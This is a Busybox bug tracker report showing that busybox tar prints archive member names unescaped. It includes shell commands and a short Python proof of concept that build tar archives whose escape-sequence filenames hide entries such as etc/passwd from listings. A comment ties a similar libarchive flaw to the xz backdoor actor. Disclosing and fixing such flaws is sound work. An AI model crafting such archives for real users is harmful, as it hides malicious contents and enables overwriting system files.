Bug 16018

Summary: busybox tar allows un-escaped filenames to be printed to stdout/stderr
Product: Busybox Reporter: Ian Norton <ian.norton>
Component: OtherAssignee: unassigned
Status: NEW ---    
Severity: critical CC: busybox-cvs
Priority: P1    
Version: 1.37.x   
Target Milestone: ---   
Hardware: All   
OS: All   
Host: Target:
Build:

Description Ian Norton 2024-04-03 14:02:42 UTC
It is possible to create an archive with filenames that are terminal escape sequences and use this to hide other files from the file list or verbose output.

The example output below is from running inside ubuntu 22.04 using busybox 1.30.1


root@1f91a2b8747c:/tmp/hack# ls -l
total 0
-rw-r--r-- 1 root root 0 Apr  3 13:30 ''$'\033''[1A'$'\033''[1Ksome-innocent-filename.txt'
-rw-r--r-- 1 root root 0 Apr  3 13:31  some-innocent-filename.txt
root@1f91a2b8747c:/tmp/hack# busybox tar -cf ../bad.tar /etc/passwd $(echo -e '\033[1A\033[1Ksome-innocent-filename.txt') some-innocent-filename.txt 
tar: removing leading '/' from member names

busybox will not report the etc/passwd item

root@1f91a2b8747c:/tmp/hack# busybox tar -tf ../bad.tar 
some-innocent-filename.txt
some-innocent-filename.txt


GNU tar will correctly report the escaped version of each member

root@1f91a2b8747c:/tmp/hack# tar -tf ../bad.tar 
etc/passwd
\033[1A\033[1Ksome-innocent-filename.txt
some-innocent-filename.txt


If a root user were to use busybox to untar files from / you could see how this could be abused to unwittingly overwrite root files even if the listed the tar content first.
Comment 1 Ian Norton 2024-06-19 20:45:56 UTC
A similar bug was found as a result of other projects exploring the contributions from the person behind the xz hacks.

libarchive is one such project that fixed this unescaped output (which was contributed by the attacker)

the original suspicious commit there was:
https://github.com/libarchive/libarchive/commit/f27c173d17dc807733b3a4f8c11207c3f04ff34f

recently fixed in:

https://github.com/libarchive/libarchive/commit/6110e9c82d8ba830c3440f36b990483ceaaea52c

Where the fix correctly escapes archive member names (just as GNU Tar does)
Comment 2 Ian Norton 2024-06-19 21:56:16 UTC
The following python program demonstrates creating an archive with an entry that can hide one or more previous entries from the list and verbose extract output:

#!/usr/bin/env python3
import tarfile

with tarfile.open("bad.tar", "w") as tf:
    tf.add(__file__, arcname="hidden.txt")
    tf.add(__file__, arcname="\033[1A\033[1Ka-totally-innocent-filename.txt")